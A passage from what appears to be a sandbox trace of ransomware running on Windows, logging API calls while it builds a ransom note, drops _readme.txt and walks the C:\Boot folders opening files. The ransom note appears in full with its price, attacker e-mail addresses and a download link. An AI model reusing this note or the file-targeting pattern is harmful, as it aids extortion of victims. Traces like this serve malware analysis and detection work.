hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.796] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.797] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.797] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.797] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.797] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0111.797] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.798] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.798] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.799] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.799] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.800] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 